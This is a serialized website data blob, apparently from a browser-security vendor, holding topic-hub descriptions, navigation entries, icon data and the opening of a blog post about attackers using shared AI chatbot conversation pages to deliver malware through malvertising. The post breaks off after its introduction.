teams.",74,{"sys":576,"faqItemsCollection":578,"name":580,"slug":581,"tier":45,"intro":582,"faqTitle":59,"postCount":583,"hasPage":19},{"id":577},"topic-shadow-ai",{"items":579},[],"Shadow AI","shadow-ai","Shadow AI is employees’ unsanctioned use of AI tools at work, putting corporate data into chatbots and assistants that security teams never approved and can’t see. Push’s own browser telemetry shows AI adoption acting as a force multiplier for shadow IT — potentially now outscaling shadow SaaS — and this hub tracks that research, real-world breach examples, and practical controls.",20,{"sys":585,"faqItemsCollection":587,"name":589,"slug":590,"tier":45,"intro":591,"faqTitle":59,"postCount":592,"hasPage":19},{"id":586},"topic-shadow-saas",{"items":588},[],"Shadow SaaS","shadow-saas","Shadow SaaS is the cloud applications employees adopt for work without IT approval, each one creating unmanaged accounts, identities, and data outside your security controls. Push covers the problem end to end — from browser-based SaaS discovery to in-browser app banners and MFA enforcement — alongside breach analyses that show where unmanaged accounts lead.",75,{"sys":594,"faqItemsCollection":596,"name":598,"slug":599,"tier":45,"intro":600,"faqTitle":59,"postCount":601,"hasPage":19},{"id":595},"topic-siem",{"items":597},[],"SIEM","siem","A SIEM is only as good as the telemetry feeding it, and most log sources never see what happens inside the browser — where phishing, session token theft, and account takeover actually play out. Push streams browser-level detections and identity telemetry into SIEMs, and these posts show how that data improves detection fidelity and cuts alert fatigue.",19,{"sys":603,"faqItemsCollection":605,"name":607,"slug":608,"tier":45,"intro":609,"faqTitle":59,"postCount":610,"hasPage":19},{"id":604},"topic-social-engineering",{"items":606},[],"Social engineering","social-engineering","Social engineering is the manipulation of people — through phishing pages, help desk impersonation, vishing calls, and poisoned tenant invites — into handing over access that no exploit could take. Coverage here tracks how threat actors run these plays — drawing on Push’s ongoing investigation of live phishing infrastructure and criminal tooling.",59,{"sys":612,"faqItemsCollection":614,"name":616,"slug":617,"tier":31,"intro":618,"faqTitle":59,"postCount":557,"hasPage":6},{"id":613},"topic-supply-chain-security",{"items":615},[],"Supply chain security","supply-chain-security","Supply chain security extends beyond your own perimeter to the vendors, platforms, and browser extensions your organization depends on. A compromised third party can hand attackers legitimate access — as recent campaigns against SaaS providers have shown. Push’s research examines the browser-extension supply chain in particular: why extension risk scores fail to predict compromise, and how developers can harden extensions against takeover. These posts frame supply chain risk through a browser and identity lens.",{"sys":620,"faqItemsCollection":622,"name":624,"slug":625,"tier":45,"intro":626,"faqTitle":59,"postCount":627,"hasPage":19},{"id":621},"topic-swg",{"items":623},[],"SWG","swg","A secure web gateway (SWG) filters and inspects web traffic in transit, sitting in the network path between users and the internet. That position shows you the packet but not the session: Push’s research on AitM phishing kits documents how attackers break the signatures proxies rely on, and these posts explain why phishing detection is moving from the network path into the browser itself.",17,{"sys":629,"faqItemsCollection":631,"name":633,"slug":634,"tier":45,"intro":635,"faqTitle":59,"postCount":636,"hasPage":19},{"id":630},"topic-third-party-risk",{"items":632},[],"Third-party risk","third-party-risk","Third-party risk is the exposure your organization inherits from vendors, SaaS providers, and integrations that hold your data or access your tenants — a chain now extended one employee sign-up at a time. This hub collects Push’s breach analyses and guides for assessing OAuth integrations, managing browser extensions, and responding when a supplier is compromised.",44,{"sys":638,"faqItemsCollection":640,"name":642,"slug":643,"tier":31,"intro":644,"faqTitle":59,"postCount":398,"hasPage":19},{"id":639},"topic-threat-landscape",{"items":641},[],"Threat landscape","threat-landscape","The enterprise threat landscape is now defined by identity attacks: criminals log in with phished, stolen, or stuffed credentials rather than breaking infrastructure. Threat actors keep proving how effective help desk scams, MFA bypass, and session theft are against well-defended organizations. Drawing on breach analyses, annual phishing trend reviews, and in-the-wild campaign tracking, Push documents how attacker TTPs are shifting. This hub is where to follow those changes.",{"sys":646,"faqItemsCollection":648,"name":650,"slug":651,"tier":45,"intro":652,"faqTitle":59,"postCount":371,"hasPage":19},{"id":647},"topic-vishing",{"items":649},[],"Vishing","vishing","Vishing — voice phishing — uses phone calls to impersonate IT support, help desks, or employees, talking targets into password resets, MFA approvals, or opening attacker-controlled pages. Threat actors now routinely pair calls with AiTM phishing to hijack SSO accounts, a chain Push has analyzed across campaigns targeting hundreds of organizations.",{},"blogtopics","w0ITersBlkytyrxHNkTEFmGsSW5X9NfdbmeXV1u8bAo",[657,661,665,669,673],{"title":658,"logo":659,"createdDate":660},"SOC2","https://cdn.builder.io/api/v1/image/assets%2Ff3a1111ff5be48cdbb123cd9f5795a05%2Fb6727a5e00004d6e9e69fc3068b8b64c",1784291539953,{"title":662,"logo":663,"createdDate":664},"GDPR","https://cdn.builder.io/api/v1/image/assets%2Ff3a1111ff5be48cdbb123cd9f5795a05%2Ffe49f53211674deaa5a6640d929cdf42?format=webp",1784291672535,{"title":666,"logo":667,"createdDate":668},"Cyber essentials","https://cdn.builder.io/api/v1/image/assets%2Ff3a1111ff5be48cdbb123cd9f5795a05%2F53558c1045a342a7a28def960cd54ae7?format=webp",1784291702710,{"title":670,"logo":671,"createdDate":672},"ISO IEC 27001","https://cdn.builder.io/api/v1/image/assets%2Ff3a1111ff5be48cdbb123cd9f5795a05%2F578a404a61cf45db951a41fe3554d12d",1784291766222,{"title":674,"logo":675,"createdDate":676},"ISO IEC 27701","https://cdn.builder.io/api/v1/image/assets%2Ff3a1111ff5be48cdbb123cd9f5795a05%2Fbe219844b13242fbba531959579a753c",1784291858848,[678,730,775],{"id":679,"label":680,"text":21,"navIcon":681,"items":682},"stop-browser-based-attacks","Stop browser-based attacks","solid:faShieldHalved",[683,688,693,698,703,708,712,717,721,725],{"title":684,"text":685,"url":686,"navIcon":687},"Adversary-in-the-Middle","Detect and block AiTM proxies stealing session tokens.","/solution/stop-browser-based-attacks/adversary-in-the-middle-attacks","solid:faUserSecret",{"title":689,"text":690,"url":691,"navIcon":692},"ClickFix (+Fix variants)","Block attacks that trick users into running malicious code.","/solution/stop-browser-based-attacks/clickfix-fix-variants","sharp-regular:faLaptopCode",{"title":694,"text":695,"url":696,"navIcon":697},"Malicious OAuth integrations","Detect suspicious OAuth consent flows and stop persistent access.","/solution/stop-browser-based-attacks/malicious-oauth-integrations","solid:faPlugCircleXmark",{"title":699,"text":700,"url":701,"navIcon":702},"Malicious browser extensions","Shine a light on risky browser extensions.","/solution/stop-browser-based-attacks/malicious-browser-extensions","sharp-regular:faPuzzlePiece",{"title":704,"text":705,"url":706,"navIcon":707},"Malicious file downloads","Gain visibility into browser downloads and block malicious files.","/solution/stop-browser-based-attacks/malicious-file-downloads","solid:faFileCircleXmark",{"title":395,"text":709,"url":710,"navIcon":711},"Surface hidden login paths that bypass SSO and expose accounts.","/solution/stop-browser-based-attacks/ghost-logins","solid:faGhost",{"title":713,"text":714,"url":715,"navIcon":716},"Mobile phishing (QR & SMS)","Detect phishing links delivered via SMS and QR codes.","/solution/stop-browser-based-attacks/mobile-phishing-qr-code-sms","solid:faQrcode",{"title":333,"text":718,"url":719,"navIcon":720},"Identify reused and compromised credentials across SaaS logins.","/solution/stop-browser-based-attacks/credential-stuffing","custom:credentialStuffing",{"title":571,"text":722,"url":723,"navIcon":724},"Detect and block stolen session tokens before attackers get access.","/solution/stop-browser-based-attacks/session-hijacking","solid:faCookieBite",{"title":726,"text":727,"url":728,"navIcon":729},"Zero-day phishing","Detect phishing TTPs directly in the browser and stop credential theft.","/solution/stop-browser-based-attacks/zero-day-phishing","sharp-regular:faFishingRod",{"id":731,"label":732,"text":21,"navIcon":733,"items":734},"achieve-security-outcomes","Achieve security outcomes","solid:faCheckToSlot",[735,740,745,750,755,760,765,770],{"title":736,"text":737,"url":738,"navIcon":739},"Stop account takeover","Stop ATO with stolen credential and compromised token detection.","/solution/achieve-security-outcomes/stop-account-takeover","sharp-regular:faUserSecret",{"title":741,"text":742,"url":743,"navIcon":744},"Harden unmanaged identities","Harden access paths with visibility, detection, and guardrails.","/solution/achieve-security-outcomes/harden-unmanaged-identities","sharp-regular:faRadar",{"title":746,"text":747,"url":748,"navIcon":749},"Investigate browser-related incidents","Investigate and respond faster with unique browser telemetry.","/solution/achieve-security-outcomes/investigate-browser-related-incidents","sharp-regular:faSatelliteDish",{"title":751,"text":752,"url":753,"navIcon":754},"Secure shadow SaaS","See and control shadow SaaS in the browser.","/solution/achieve-security-outcomes/secure-shadow-saas","sharp-regular:faShieldCheck",{"title":756,"text":757,"url":758,"navIcon":759},"Secure AI","See and control AI apps in the browser.","/solution/achieve-security-outcomes/secure-ai","sharp-regular:faBrainCircuit",{"title":761,"text":762,"url":763,"navIcon":764},"Secure BYOD","Extend consistent browser-based protection to unmanaged devices.","/solution/achieve-security-outcomes/secure-bring-your-own-device","solid:faMobileScreenButton",{"title":766,"text":767,"url":768,"navIcon":769},"Secure Chromebooks","Secure browser activity on Chromebooks without endpoint agents.","/solution/achieve-security-outcomes/secure-chromebooks","brands:faChrome",{"title":771,"text":772,"url":773,"navIcon":774},"Investigate and stop data loss","Detect and prevent data loss across AI tools, apps, and sessions.","/solution/achieve-security-outcomes/investigate-and-stop-data-loss","custom:investigateAndStopDataLoss",{"id":776,"label":777,"text":21,"navIcon":778,"items":779},"tool-replacements","Tool replacements","solid:faScrewdriverWrench",[780,785,790,795],{"title":781,"text":782,"url":783,"navIcon":784},"Remote browser isolation","Detect attacks that look like normal browsing.","/solution/tool-replacements/remote-browser-isolation","solid:faDisplay",{"title":786,"text":787,"url":788,"navIcon":789},"Secure web gateways","Detect attacks inside the browser after SWGs allowed the connection.","/solution/tool-replacements/secure-web-gateways","solid:faFilter",{"title":791,"text":792,"url":793,"navIcon":794},"Cloud access security broker","Catch browser-based identity threats in real time, not after the fact.","/solution/tool-replacements/cloud-access-security-broker","solid:faCloudArrowUp",{"title":796,"text":797,"url":798,"navIcon":799},"Security awareness training","Block real phishing instead of training users on simulations.","/solution/tool-replacements/security-awareness-training","custom:securityAwareness",{"w":801,"h":802,"d":803},448,512,"M171-16c-36.4 0-57.8 58.3-68.3 112L72 96c-13.3 0-24 10.7-24 24s10.7 24 24 24l24 0 0 32c0 17 3.3 33.2 9.3 48l-9.3 0 0 0-20.5 0c-15.2 0-27.5 12.3-27.5 27.5 0 3 .5 5.9 1.4 8.7l28.9 86.6C40.2 379.6 16 428.1 16 482.3 16 498.7 29.3 512 45.7 512l356.6 0c16.4 0 29.7-13.3 29.7-29.7 0-54.2-24.2-102.7-62.3-135.4l28.9-86.6c.9-2.8 1.4-5.7 1.4-8.7 0-15.2-12.3-27.5-27.5-27.5l-20.5 0 0 0-9.3 0c6-14.8 9.3-31 9.3-48l0-32 24 0c13.3 0 24-10.7 24-24s-10.7-24-24-24l-30.7 0c-10.4-53.7-31.9-112-68.3-112-9.6 0-19 3.9-27.5 8.2-8.2 4.1-18.4 7.8-25.5 7.8s-17.3-3.7-25.5-7.8C190-12.1 180.6-16 171-16zm93.7 484.4l-24.8-70.9 27.9-32.5c2.7-3.2 4.2-7.2 4.2-11.4 0-9.7-7.8-17.5-17.5-17.5l-61 0c-9.7 0-17.5 7.8-17.5 17.5 0 4.2 1.5 8.2 4.2 11.4l27.9 32.5-24.8 70.9-57-180.4 35.7 0c18.4 10.2 39.5 16 62 16s43.6-5.8 62-16l35.7 0-57 180.4zM224 256c-34.7 0-64.2-22.1-75.3-53 5.7 3.2 12.3 5 19.3 5l12.4 0c16.5 0 31.1-10.6 36.3-26.2 2.3-7 12.2-7 14.5 0 5.2 15.6 19.9 26.2 36.3 26.2l12.4 0c7 0 13.6-1.8 19.3-5-11.1 30.9-40.6 53-75.3 53z",{"w":17,"h":802,"d":805},"M112 80l416 0 0 224 48 0 0-272-512 0 0 272 48 0 0-224zM48 404.1l0-4.1 544 0 0 4.1-27.9 27.9-488.2 0-27.9-27.9zM592 352l-592 0 0 72 56 56 528 0 56-56 0-72-48 0zM281 169l17-17-33.9-33.9c-6.1 6.1-27.8 27.8-65 65l-17 17c6.1 6.1 27.8 27.8 65 65l17 17 33.9-33.9c-9-9-25-25-48-48l31-31zM393 135l-17-17-33.9 33.9c9 9 25 25 48 48-23 23-39 39-48 48L376 281.9c6.1-6.1 27.8-27.8 65-65l17-17c-6.1-6.1-27.8-27.8-65-65z",{"w":17,"h":802,"d":807},"M192-32c17.7 0 32 14.3 32 32l0 96 128 0 0-96c0-17.7 14.3-32 32-32s32 14.3 32 32l0 96 64 0c17.7 0 32 14.3 32 32s-14.3 32-32 32l0 48.7c-98.6 8.1-176 90.7-176 191.3 0 27.3 5.7 53.3 16 76.9l0 3.1c0 17.7-14.3 32-32 32s-32-14.3-32-32l0-66.7C165.2 398.1 96 319.1 96 224l0-64c-17.7 0-32-14.3-32-32S78.3 96 96 96l64 0 0-96c0-17.7 14.3-32 32-32zM496 256a144 144 0 1 1 0 288 144 144 0 1 1 0-288zm59.3 107.3c6.2-6.2 6.2-16.4 0-22.6s-16.4-6.2-22.6 0l-36.7 36.7-36.7-36.7c-6.2-6.2-16.4-6.2-22.6 0s-6.2 16.4 0 22.6l36.7 36.7-36.7 36.7c-6.2 6.2-6.2 16.4 0 22.6s16.4 6.2 22.6 0l36.7-36.7 36.7 36.7c6.2 6.2 16.4 6.2 22.6 0s6.2-16.4 0-22.6l-36.7-36.7 36.7-36.7z",{"w":802,"h":802,"d":809},"M201.1 57.3c-7 5.3-9.1 10.7-9.1 14.7 0 4.5 2.8 11.2 12.4 16.9l11.6 7 0 48.1-168 0 0 60.5c7.4-2.9 15.5-4.5 24-4.5 43.1 0 72 39.4 72 80s-28.9 80-72 80c-8.5 0-16.6-1.6-24-4.5l0 108.5 108.5 0c-2.9-7.4-4.5-15.5-4.5-24 0-43.1 39.4-72 80-72s80 28.9 80 72c0 8.5-1.6 16.6-4.5 24l60.5 0 0-168 48.1 0 7 11.6c5.8 9.6 12.4 12.4 16.9 12.4 4 0 9.5-2.1 14.7-9.1s9.3-17.9 9.3-30.9-4-23.8-9.3-30.9-10.7-9.1-14.7-9.1c-4.5 0-11.2 2.8-16.9 12.4l-7 11.6-48.1 0 0-120-120 0 0-48.1 11.6-7c9.6-5.8 12.4-12.4 12.4-16.9 0-4-2.1-9.5-9.1-14.7S245 48 232 48 208.2 52 201.1 57.3zM172.3 18.9C188.5 6.8 209.6 0 232 0S275.5 6.8 291.7 18.9 320 49.5 320 72c0 8.6-1.8 16.7-4.9 24l100.9 0 0 100.9c7.3-3.1 15.4-4.9 24-4.9 22.5 0 41 12.2 53.1 28.3s18.9 37.3 18.9 59.7-6.8 43.5-18.9 59.7-30.6 28.3-53.1 28.3c-8.6 0-16.7-1.8-24-4.9l0 148.9-168 0 0-49.3 8.2-7.2c5.4-4.7 7.8-10.3 7.8-15.5 0-9.9-10.7-24-32-24s-32 14.1-32 24c0 5.3 2.4 10.8 7.8 15.5l8.2 7.2 0 49.3-216 0 0-216 49.3 0 7.2 8.2c4.7 5.4 10.3 7.8 15.5 7.8 9.9 0 24-10.7 24-32s-14.1-32-24-32c-5.3 0-10.8 2.4-15.5 7.8L49.3 264 0 264 0 96 148.9 96c-3.1-7.3-4.9-15.4-4.9-24 0-22.5 12.2-41 28.3-53.1z",{"w":811,"h":802,"d":812},576,"M96 0C60.7 0 32 28.7 32 64l0 384c0 35.3 28.7 64 64 64l180 0c-22.7-31.5-36-70.2-36-112 0-100.6 77.4-183.2 176-191.3l0-38.1c0-17-6.7-33.3-18.7-45.3L290.7 18.7C278.7 6.7 262.5 0 245.5 0L96 0zM357.5 176L264 176c-13.3 0-24-10.7-24-24L240 58.5 357.5 176zM432 544a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm59.3-180.7l-36.7 36.7 36.7 36.7c6.2 6.2 6.2 16.4 0 22.6s-16.4 6.2-22.6 0l-36.7-36.7-36.7 36.7c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6l36.7-36.7-36.7-36.7c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0l36.7 36.7 36.7-36.7c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6z",{"w":814,"h":802,"d":815},384,"M40.1 467.1l-11.2 9C25.7 478.6 21.8 480 17.8 480 8 480 0 472 0 462.2L0 192C0 86 86 0 192 0S384 86 384 192l0 270.2c0 9.8-8 17.8-17.8 17.8-4 0-7.9-1.4-11.1-3.9l-11.2-9c-13.4-10.7-32.8-9-44.1 3.9L269.3 506c-3.3 3.8-8.2 6-13.3 6s-9.9-2.2-13.3-6l-26.6-30.5c-12.7-14.6-35.4-14.6-48.2 0L141.3 506c-3.3 3.8-8.2 6-13.3 6s-9.9-2.2-13.3-6L84.2 471c-11.3-12.9-30.7-14.6-44.1-3.9zM160 192a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm96 32a32 32 0 1 0 0-64 32 32 0 1 0 0 64z",{"w":801,"h":802,"d":817},"M64 160l64 0 0-64-64 0 0 64zM0 80C0 53.5 21.5 32 48 32l96 0c26.5 0 48 21.5 48 48l0 96c0 26.5-21.5 48-48 48l-96 0c-26.5 0-48-21.5-48-48L0 80zM64 416l64 0 0-64-64 0 0 64zM0 336c0-26.5 21.5-48 48-48l96 0c26.5 0 48 21.5 48 48l0 96c0 26.5-21.5 48-48 48l-96 0c-26.5 0-48-21.5-48-48l0-96zM320 96l0 64 64 0 0-64-64 0zM304 32l96 0c26.5 0 48 21.5 48 48l0 96c0 26.5-21.5 48-48 48l-96 0c-26.5 0-48-21.5-48-48l0-96c0-26.5 21.5-48 48-48zM288 352a32 32 0 1 1 0-64 32 32 0 1 1 0 64zm0 64c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm96 32c0-17.7 14.3-32 32-32s32 14.3 32 32-14.3 32-32 32-32-14.3-32-32zm32-96a32 32 0 1 1 0-64 32 32 0 1 1 0 64zm-32 32a32 32 0 1 1 -64 0 32 32 0 1 1 64 0z",{"w":802,"h":802,"d":819},"M257.5 27.6c-.8-5.4-4.9-9.8-10.3-10.6-22.1-3.1-44.6 .9-64.4 11.4l-74 39.5C89.1 78.4 73.2 94.9 63.4 115L26.7 190.6c-9.8 20.1-13 42.9-9.1 64.9l14.5 82.8c3.9 22.1 14.6 42.3 30.7 57.9l60.3 58.4c16.1 15.6 36.6 25.6 58.7 28.7l83 11.7c22.1 3.1 44.6-.9 64.4-11.4l74-39.5c19.7-10.5 35.6-27 45.4-47.2l36.7-75.5c9.8-20.1 13-42.9 9.1-64.9-.9-5.3-5.3-9.3-10.6-10.1-51.5-8.2-92.8-47.1-104.5-97.4-1.8-7.6-8-13.4-15.7-14.6-54.6-8.7-97.7-52-106.2-106.8zM208 144a32 32 0 1 1 0 64 32 32 0 1 1 0-64zM144 336a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm224-64a32 32 0 1 1 0 64 32 32 0 1 1 0-64z",{"w":801,"h":802,"d":821},"M284.6 0l91.4 0 0 160-48 0 0-112-36.6 0-203.4 58.1 0 181.9 40 0 0 224-128 0 0-224 40 0 0-218.1 17.4-5 224-64 3.2-.9zM80 336l-32 0 0 128 32 0 0-128zm176 8c0-76.8 64-136 96-152 32 16 96 75.2 96 152 0 32-16 80-64 112l32 40 0 16-128 0 0-16 32-40c-48-32-64-80-64-112zm128-32a24 24 0 1 0 -48 0 24 24 0 1 0 48 0z",{"w":801,"h":802,"d":823},"M144-16l-48 112-48 0 0 48 48 0 0 32c0 17 3.3 33.2 9.3 48l-73.3 0 0 32 5.3 16 26.7 80-64 160 51.7 0 56.9-142.2 6.5-16.3c-1-3.1-10.1-30.3-27.2-81.5l51.4 0c22.6 19.9 52.2 32 84.7 32s62.1-12.1 84.7-32l51.4 0c-17.1 51.2-26.1 78.4-27.2 81.5l6.5 16.3 56.9 142.2 51.7 0-64-160 26.7-80 5.3-16 0-32-73.3 0c6-14.8 9.3-31 9.3-48l0-32 48 0 0-48-48 0-48-112-32 0-48 32-48-32-32 0zm80 272c-32.8 0-61-19.7-73.3-48l57.3 0 16-40 16 40 57.3 0c-12.3 28.3-40.5 48-73.3 48zm17.5 139.6l30.5-35.6 0-24-96 0 0 24 30.5 35.6-46.5 116.4 128 0-46.5-116.4z",{"w":802,"h":802,"d":825},"M497.4 49l17-17-33.9-33.9C473.6 4.9 453.3 25.2 419.7 58.8 375.4 22.1 318.5 0 256.4 0 115.1 0 .4 114.6 .4 256s114.6 256 256 256 256-114.6 256-256l-48 0c0 114.9-93.1 208-208 208s-208-93.1-208-208 93.1-208 208-208c48.8 0 93.7 16.8 129.1 44.9l-45.7 45.7c-23.5-16.8-52.3-26.6-83.4-26.6-79.5 0-144 64.5-144 144s64.5 144 144 144 144-64.5 144-144l-48 0c0 53-43 96-96 96s-96-43-96-96 43-96 96-96c17.8 0 34.5 4.8 48.8 13.3-52 52-79.5 79.5-82.7 82.7l33.9 33.9 17-17 224-224z",{"w":802,"h":802,"d":827},"M208 0l24 0C386.6 0 512 125.4 512 280l0 24-48 0 0-24C464 151.9 360.1 48 232 48l-24 0 0-48zm24 96c101.6 0 184 82.4 184 184l0 24-48 0 0-24c0-75.1-60.9-136-136-136l-24 0 0-48 24 0zM48 256c0 114.9 93.1 208 208 208 22.9 0 45-3.7 65.6-10.5l-263-263C51.7 211 48 233.1 48 256zM0 256c0-36.5 7.6-71.3 21.4-102.7 6.7-15.3 14.9-29.9 24.4-43.5 7.7 7.7 61.5 61.5 161.2 161.2 30.5-30.5 49.5-49.5 57-57L297.9 248c-7.5 7.5-26.5 26.5-57 57 99.7 99.7 153.5 153.5 161.2 161.2-13.6 9.5-28.2 17.7-43.5 24.4-31.4 13.8-66.2 21.4-102.7 21.4-141.4 0-256-114.6-256-256z",{"w":802,"h":802,"d":829},"M267.6 4.5l207.5 80.5 19.2 7.4 1.2 20.5c2.9 50-4.9 126.3-37.3 200.9-32.7 75.2-91.1 150-189.4 192.5l-12.7 5.5-12.7-5.5C144.9 463.9 86.6 389.2 53.9 313.9 21.5 239.3 13.7 162.9 16.6 113L17.8 92.5 37 85 244.5 4.5 256 0 267.6 4.5zM64.1 126C63.1 169.5 71 232.9 97.9 294.8 126.1 359.7 175 422.4 256 459.6 337.1 422.4 385.9 359.7 414.2 294.8 441 232.9 449 169.5 448 126L256 51.5 64.1 126zm302.3 44.7L352.3 190.1 249.8 330.9 233 354c-8.8-9.1-30.9-32-66.2-68.6l-16.7-17.3 34.5-33.3c9.5 9.8 23.9 24.7 43.2 44.7l85.6-117.7 14.1-19.4 38.8 28.2z",{"w":802,"h":802,"d":831},"M192 48l40 0 0 108-12.4 0c-7.6-16.5-24.3-28-43.6-28-26.5 0-48 21.5-48 48s21.5 48 48 48c19.4 0 36.1-11.5 43.6-28l12.4 0 0 56-92 0 0 56.4c-16.5 7.6-28 24.3-28 43.6 0 26.5 21.5 48 48 48s48-21.5 48-48c0-19.4-11.5-36.1-28-43.6l0-16.4 52 0 0 172-40 0c-16.8 0-31.2-10.3-37.1-25.1l-6.4-16-17.2 1c-1.1 .1-2.2 .1-3.2 .1-30.9 0-56-25.1-56-56 0-9.5 2.4-18.5 6.5-26.3l8.7-16.2-13.4-12.6c-11-10.2-17.8-24.8-17.8-40.9 0-21.6 12.2-40.4 30.3-49.8l22.6-11.7-13.1-21.9c-5-8.4-7.9-18.1-7.9-28.6 0-30.9 25.1-56 56-56l24 0 0-32c0-13.3 10.7-24 24-24zm88 148l12.4 0c7.6 16.5 24.3 28 43.6 28 26.5 0 48-21.5 48-48s-21.5-48-48-48c-19.4 0-36.1 11.5-43.6 28l-12.4 0 0-108 40 0c13.3 0 24 10.7 24 24l0 32 24 0c30.9 0 56 25.1 56 56 0 10.5-2.9 20.3-7.9 28.6l-13.1 21.9 22.6 11.7c18 9.3 30.3 28.1 30.3 49.8 0 16.1-6.8 30.7-17.8 40.9l-13.4 12.6 8.7 16.2c4.2 7.8 6.5 16.7 6.5 26.3 0 30.9-25.1 56-56 56-1.1 0-2.2 0-3.2-.1l-17.2-1-6.4 16C351.2 453.7 336.8 464 320 464l-40 0 0-76 92 0 0-56.4c16.5-7.6 28-24.3 28-43.6 0-26.5-21.5-48-48-48s-48 21.5-48 48c0 19.4 11.5 36.1 28 43.6l0 16.4-52 0 0-152zM192 512l128 0c31.1 0 58.4-16.2 74.1-40.5 52.7-5.1 93.9-49.5 93.9-103.5 0-11.5-1.9-22.5-5.3-32.9 13.4-17.5 21.3-39.4 21.3-63.1 0-32-14.5-60.6-37.1-79.7 3.3-10.2 5.1-21.1 5.1-32.3 0-49.6-34.8-91.1-81.3-101.5-6.3-33.3-35.6-58.5-70.7-58.5L192 0c-35.1 0-64.4 25.2-70.7 58.5-46.5 10.4-81.3 51.9-81.3 101.5 0 11.3 1.8 22.2 5.1 32.3-22.7 19.1-37.1 47.7-37.1 79.7 0 23.7 8 45.6 21.3 63.1-3.5 10.4-5.3 21.4-5.3 32.9 0 54 41.2 98.5 93.9 103.5 15.6 24.3 42.9 40.5 74.1 40.5zM336 192a16 16 0 1 1 0-32 16 16 0 1 1 0 32zm32 96a16 16 0 1 1 -32 0 16 16 0 1 1 32 0zM176 352a16 16 0 1 1 -32 0 16 16 0 1 1 32 0zm16-176a16 16 0 1 1 -32 0 16 16 0 1 1 32 0z",{"w":814,"h":802,"d":833},"M16 64C16 28.7 44.7 0 80 0L304 0c35.3 0 64 28.7 64 64l0 384c0 35.3-28.7 64-64 64L80 512c-35.3 0-64-28.7-64-64L16 64zm64 0l0 304 224 0 0-304-224 0zM192 472c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32z",{"w":802,"h":802,"d":835},"M0 256c0-46.6 12.5-90.4 34.3-128.9L144.1 318.3c21.9 39.2 63.8 65.7 111.9 65.7 14.3 0 27.1-2.3 40.8-6.6L220.5 509.6C95.9 492.3 0 385.3 0 256zm365.1 65.6c12.3-19.2 18.9-42.5 18.9-65.6 0-38.2-16.8-72.5-43.3-96l152.7 0c12 29.6 18.6 62.1 18.6 96 0 141.4-114.6 255.1-256 256L365.1 321.6zM477.8 128L256 128c-62.9 0-113.7 44.1-125.5 102.7L54.2 98.5C101 38.5 174 0 256 0 350.8 0 433.5 51.5 477.8 128zM344 256a88 88 0 1 1 -176 0 88 88 0 1 1 176 0z",{"w":802,"h":802,"d":837},"M448 96l0 256-384 0 0-256 384 0zM64 32C28.7 32 0 60.7 0 96L0 352c0 35.3 28.7 64 64 64l144 0-16 48-72 0c-13.3 0-24 10.7-24 24s10.7 24 24 24l272 0c13.3 0 24-10.7 24-24s-10.7-24-24-24l-72 0-16-48 144 0c35.3 0 64-28.7 64-64l0-256c0-35.3-28.7-64-64-64L64 32z",{"w":802,"h":802,"d":839},"M32 64C19.1 64 7.4 71.8 2.4 83.8S.2 109.5 9.4 118.6L192 301.3 192 416c0 8.5 3.4 16.6 9.4 22.6l64 64c9.2 9.2 22.9 11.9 34.9 6.9S320 492.9 320 480l0-178.7 182.6-182.6c9.2-9.2 11.9-22.9 6.9-34.9S492.9 64 480 64L32 64z",{"w":811,"h":802,"d":841},"M144 480c-79.5 0-144-64.5-144-144 0-63.4 41-117.2 97.9-136.5-1.3-7.7-1.9-15.5-1.9-23.5 0-79.5 64.5-144 144-144 55.4 0 103.5 31.3 127.6 77.1 14.2-8.3 30.8-13.1 48.4-13.1 53 0 96 43 96 96 0 15.7-3.8 30.6-10.5 43.7 44 20.3 74.5 64.7 74.5 116.3 0 70.7-57.3 128-128 128l-304 0zM305 191c-9.4-9.4-24.6-9.4-33.9 0l-72 72c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l31-31 0 102.1c0 13.3 10.7 24 24 24s24-10.7 24-24l0-102.1 31 31c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9l-72-72z",[843,5673,8864,12134,14717,16926],{"id":844,"title":845,"authorsCollection":846,"content":854,"extension":228,"faqItemsCollection":1793,"faqTitle":59,"featured":6,"hashTags":59,"meta":1795,"metaTitle":1796,"ogImage":59,"postType":1797,"publishedDate":1798,"relatedBlogPostsCollection":1799,"slug":5623,"stem":5624,"subtitle":59,"summary":5625,"synopsis":5636,"sys":5637,"tagsCollection":5640,"topicsCollection":5646,"__hash__":5672},"blog/blog/llmshare-malvertising-campaign.json","LLMShare: how attackers are turning AI chatbot pages into malware delivery platforms",{"items":847},[848],{"fullName":849,"firstName":850,"jobTitle":851,"socialLinks":59,"profilePicture":852},"Keanu Maharaj","Keanu","Senior Security Researcher",{"url":853},"https://images.ctfassets.net/y1cdw1ablpvd/VCGOm62jiocjwngWTh32U/e9a30637b1c76bf988d2fec90f5b6c36/1689361049351_1.png",{"json":855,"links":1664},{"data":856,"content":857,"nodeType":1663},{},[858,867,874,906,913,922,928,941,945,954,971,978,984,991,998,1004,1007,1015,1022,1028,1034,1041,1048,1067,1073,1076,1084,1102,1108,1115,1118,1126,1133,1140,1146,1152,1197,1204,1207,1215,1222,1230,1273,1280,1311,1318,1361,1368,1371,1379,1398,1405,1413,1429,1436,1455,1462,1465,1472,1479,1497,1500,1508,1527,1534,1657],{"data":859,"content":860,"nodeType":866},{},[861],{"data":862,"marks":863,"value":864,"nodeType":865},{},[],"Shared conversations on AI chatbot platforms have become the latest delivery mechanism for malware campaigns targeting macOS and Windows users. Attackers create content on platforms like ChatGPT and Claude that appears to offer installation guidance or service updates, then drive traffic to it via search engine results in the form of malvertising and SEO poisoning.  ","text","paragraph",{"data":868,"content":869,"nodeType":866},{},[870],{"data":871,"marks":872,"value":873,"nodeType":865},{},[],"The content lives on chatgpt.com or claude.ai — domains that users and security tools trust implicitly — so the attack bypasses URL reputation checks before the victim even reaches the malicious payload.",{"data":875,"content":876,"nodeType":866},{},[877,881,890,894,902],{"data":878,"marks":879,"value":880,"nodeType":865},{},[],"Several variants of this technique have been 